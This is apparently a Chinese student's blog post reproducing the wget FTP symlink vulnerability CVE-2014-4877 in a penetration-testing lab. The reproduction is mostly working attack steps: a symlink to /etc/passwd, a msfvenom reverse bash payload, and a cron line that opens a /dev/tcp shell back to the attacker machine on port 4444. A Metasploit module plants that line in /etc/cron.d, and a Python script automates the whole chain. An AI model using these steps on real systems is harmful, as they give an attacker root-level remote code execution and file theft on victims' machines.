CVE-2014-4877漏洞复现


漏洞描述

1. wget简介

wget是一个从网络上自动下载文件的自由工具,支持通过HTTP、HTTPS、FTP三个最常见的TCP/IP协议下载,并可以使用HTTP代理。wget名称的由来是”World Wide Web”与”get”的结合。

“递归下载”是wget提供的一个特性,我们平时使用浏览器进行网页浏览的时候,浏览器就是在进行递归下载,将我们输入的一个URL链接,已经它其中附带的CSS、IMG、HTML HREF等链接也一并下载下来并进行渲染

2. CVE-2014-4877

Wget 处理符号链接的方式存在缺陷。恶意 FTP 服务器可能允许 Wget 在镜像模式下运行(使用’-m’命令行选项)将任意文件写入可由运行 Wget 的用户写入的位置,从而可能导致代码执行。

攻击者通过操纵ftp服务器可以在wget用户端环境创建任意的文件、目录以及链接。通过符号链接攻击,攻击者以wget的运行权限访问客户端整个文件系统,覆盖文件内容(包括二进制文件)。这个漏洞还能通过系统的cron设置或用户级别的(bash profile, SSH authorized_keys)设置触发远程代码执行

这是我在实验室学习渗透测试的所做的第十一个漏洞复现,用时超长……主要是网上能够搜集到的资料基本都是2014年的(漏洞发现的年份),许多东西今天已经不再适用,而且大多数博客描述也不太清楚,让我这个菜鸟无从下手。什么“文件不存在啊”、”connection: 192.168.227.128:4444 –> 192.168.227.128:xxxxx”都踩雷了,不过在小杰学长的帮助下,最终还是顺利解决啦!小杰学长果然是那种人狠话不多的角色啊……

废话不多说,开始复现!

实验环境

服务端:Kali Linux 192.168.227.128

客户端:Ubuntu 192.168.227.141

复现过程

1. 安装vsftpd

# 安装vsftpd
apt-get install vsftpd
# 将FTP使用的端口开放出去
iptables -A INPUT -p tcp --dport 21 -j ACCEPT

打开/etc/vsftpd.conf,修改以下内容:

# 修改
listen=YES
listen_ipv6=NO
anonymous_enable=YES
write_enable=YES
# 添加一句,用来设置fpt的默认文件夹
anon_root=/var/ftp # 可以更改

一切完成后,输入/etc/init.d/vsftpd restart重启服务。

2. 软链接(符号链接)下载漏洞POC

cd /var/ftp
ln -s /etc/passwd steal

打开另一台ubuntu虚拟机,输入wget -V查看wget版本(漏洞存在于wget1.16之前的版本中)。如果版本过高,则卸载后在这里安装较低版本的wget。但是若本机openssl版本过高(1.1.x),则无法正常安装,除了卸载当前openssl安装低版本的openssl(1.0.x),我没有找到有效的解决方法(网上有人提供了一些补丁,我试了下没有效果)。

目前来看,似乎只有ubuntu作为客户端才能正常复现该漏洞,Centos7则会一直显示软链接的文件不存在,不知道是什么原因。

wget安装完成后,使用wget以递归模式向服务端发起对这个符号链接文件的下载请求。

wget ftp://服务端IP/steal -r

查看客户端的steal文件,与服务端的文件比较,可以发现该文件并不是从服务端下载的文件,而是在本地相同位置(/etc/passwd)创建了一个软链接。

3. 使用MSF进行远程代码攻击

使用msfvenom生成反连shell的payload代码。

msfvenom -p cmd/unix/reverse_bash

随便找一个目录,创建一个cronshell文件,将上面得到的payload代码(最后一行的字符串)写入cronshell。

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root bash -c '0<&143-;exec 143<>/dev/tcp/192.168.227.128/4444;sh <&143 >&143 2>&143'; rm -f /etc/cron.d/cronshell
EOD

在cronshell所在目录下打开msf,监听本地端口。

use exploit/multi/handler
set PAYLOAD cmd/unix/reverse_bash
set LHOST 本机IP
set LPORT 4444
run -j

最后,切换到wget模块本身。

use auxiliary/server/wget_symlink_file_write
set TARGET_FILE /etc/cron.d/cronshell # 在客户端的/etc/cron.d目录下生成cronshell文件
set TARGET_DATA file:cronshell # 客户端的文件内容为当前目录下的cronshell内的内容
set SRVPORT 21
run

之后回到客户端,在root权限下,输入wget -m ftp://服务端IP:21,下载文件。

下载成功后,可以在服务端看到相应的结果。等待第一个监听模块收集到session。可以输入命令验证是否攻击成功。

同时,在客户端的/etc/cron.d目录下也可以看到我们发送过来的cronshell文件。

也可以写一个python3脚本,直接运行python3脚本即可(需要重新生成payload代码,并写入cronshell)。

import os
def Handler():
    configFile = open('./wget_symlink_file_write.rc','w')
    configFile.write('use exploit/multi/handler\n')
    #configFile.write('set LHOST %s\n'%self.lprot)
    configFile.write('set PAYLOAD cmd/unix/reverse_bash\n')
    configFile.write('set LHOST 192.168.227.128\n')
    configFile.write('set LPORT 4444\n')
    configFile.write('run -j\n')
    configFile.write('use auxiliary/server/wget_symlink_file_write\n')
    configFile.write('set TARGET_FILE /etc/cron.d/cronshell\n')
    configFile.write('set TARGET_DATA file:cronshell\n')
    configFile.write('set SRVPORT 21\n')
    configFile.write('run\n')
    #configFile.write('exploit\n')
    configFile.close()
    os.system('msfconsole -r ./wget_symlink_file_write.rc')
    os.system('rm ./wget_symlink_file_write.rc')
    
Handler()

运行结果如图(截图里我在靶机下载文件后,没等cronshell运行就输入了sessions,因此是No active sessions,不过根据后面的结果可以看到是成功了的):

参考链接


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
 上一篇
ms15-034漏洞复现 ms15-034漏洞复现
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。
2020-09-22
下一篇 
Heartbleed(心脏出血)漏洞复现 Heartbleed(心脏出血)漏洞复现
心脏出血(Heartbleed),也简称为心血漏洞,是一个出现在加密程序库OpenSSL的安全漏洞,该程序库广泛用于实现互联网的传输层安全(TLS)协议。
2020-09-15
  目录